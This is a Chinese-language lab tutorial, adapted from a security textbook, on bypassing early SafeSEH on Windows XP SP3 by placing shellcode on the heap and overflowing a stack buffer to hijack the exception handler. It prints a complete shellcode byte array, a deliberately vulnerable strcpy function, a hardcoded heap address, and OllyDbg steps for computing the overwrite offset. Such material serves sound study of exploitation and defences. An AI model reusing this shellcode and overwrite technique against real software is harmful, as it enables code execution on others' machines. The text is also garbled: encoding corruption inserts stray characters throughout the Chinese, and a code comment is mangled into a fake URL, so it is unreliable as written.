實(shí)驗(yàn)內(nèi)容和代碼均修改自《0day安全》第二版
實(shí)驗(yàn)環(huán)境
操作系統(tǒng): Windows XP SP3 DEP關(guān)閉
編譯器: Visual Studio 2008
編譯選項(xiàng): 禁用優(yōu)化 (/0d)
build版本: release版本
關(guān)于 SafeSEH的原理介紹詳見我另一篇整理的文章
SafeSEH原理及繞過技術(shù)淺析
實(shí)驗(yàn)原理
在早期的SafeSEH機(jī)制中(這里使用Windows XP SP3),S.E.H 的安全校驗(yàn)有一個(gè)嚴(yán)重的缺陷——如果 S.E.H 中的異常函數(shù)指針指向堆區(qū),即使安全校驗(yàn)發(fā)現(xiàn)了該 SEH 已經(jīng)不可信,也仍然會(huì)調(diào)用這個(gè)已經(jīng)被修改過的異常處理函數(shù)。實(shí)驗(yàn)的思路就是將shellcode布置到堆區(qū),通過棧溢出淹沒異常處理函數(shù)指針,跳轉(zhuǎn)到shellcode處執(zhí)行。
實(shí)驗(yàn)代碼
- 首先在堆中開辟空間,用以存放 shellcode 。
- 在test函數(shù)中存在溢出,復(fù)制的字符串長(zhǎng)度超過了緩沖區(qū)大小,進(jìn)而覆蓋了 SEH 信息。
- 通過溢出,SEH 信息中的異常處理指針被覆蓋為堆中 shellcode 的起始地址,最后制造了一個(gè)除零異常,劫持進(jìn)程進(jìn)入已經(jīng)被修改的異常處理函數(shù) shellcode 中執(zhí)行。
具體代碼如下:
#include <stdafx.h>
#include <stdlib.h>
#include <string.h>
char shellcode[]=
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x64\x65\x52\x63\x68\x55\x6D\x69\x61\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\xA8\x29\x39\x00"http://address of shellcode in heap
;
void test(char * input)
{
char str[200];
strcpy(str,input);
int zero=0;
zero=1/zero;
}
void main()
{
char * buf=(char *)malloc(500);
//__asm int 3
strcpy(buf,shellcode);
test(shellcode);
}
調(diào)試過程
調(diào)試時(shí)可以將上面的shellcode改為連續(xù)的\x90,以便觀察緩沖區(qū)的內(nèi)容情況。
用OD打開編譯完成的文件,通過 __asm int 3 中斷在 main 函數(shù)堆空間申請(qǐng)?zhí)帲?br>
也可以手動(dòng)進(jìn)入main函數(shù),VC 編譯的 PE 在 main函數(shù)調(diào)用之前一般都會(huì)有三個(gè) MOV 指令和三個(gè)
PUSH 指令(env, argv, argc),并且main函數(shù)的地址較為規(guī)整,如下圖:
(注:OD 直接打開和調(diào)試attach得到的地址有可能會(huì)不同,OD直接打開會(huì)以調(diào)試狀態(tài)執(zhí)行,最后的 shellcode 執(zhí)行情況只能在 OD 調(diào)試中才能觀察到)
F4執(zhí)行到此處,F(xiàn)7 跟進(jìn)。繼續(xù)單步執(zhí)行,可以看到malloc函數(shù)被調(diào)用,開辟了 0x1F4 (500)大小的堆空間,此時(shí) EAX 保存著該堆空間的首地址,可以看到是0x003929F8 。
之后該空間被shellcode覆蓋,并調(diào)用test函數(shù)。接下來我們需要確定填充字節(jié)的個(gè)數(shù)來湮沒異常處理函數(shù)的地址。進(jìn)一步跟進(jìn),停在test函數(shù)strcpy執(zhí)行完畢處。
觀察棧,可看到棧中被溢出的字串起始位置為0x12FE8C。
同時(shí)查看SEH Chain,得到要被淹沒的異常處理函數(shù)指針位于0x0012FFB0+4 的位置
經(jīng)過簡(jiǎn)單的計(jì)算后,構(gòu)造出shellcode總長(zhǎng)度為300字節(jié)(168字節(jié)的shellcode機(jī)器碼,129個(gè)\x90填充,最后4個(gè)字節(jié)為覆蓋異常處理函數(shù)指針的shellcode首地址)。
最后在堆中 shellcode 起始地址處 0x003929F8 設(shè)置斷點(diǎn),F(xiàn)9運(yùn)行程序,如果用的是2.10或其他高版本OD,異常出現(xiàn)時(shí)會(huì)發(fā)生中斷,Shitf+F9繼續(xù)執(zhí)行即可。
最后程序流程在shellcode處停下,繼續(xù)執(zhí)行即可看到彈出對(duì)話框: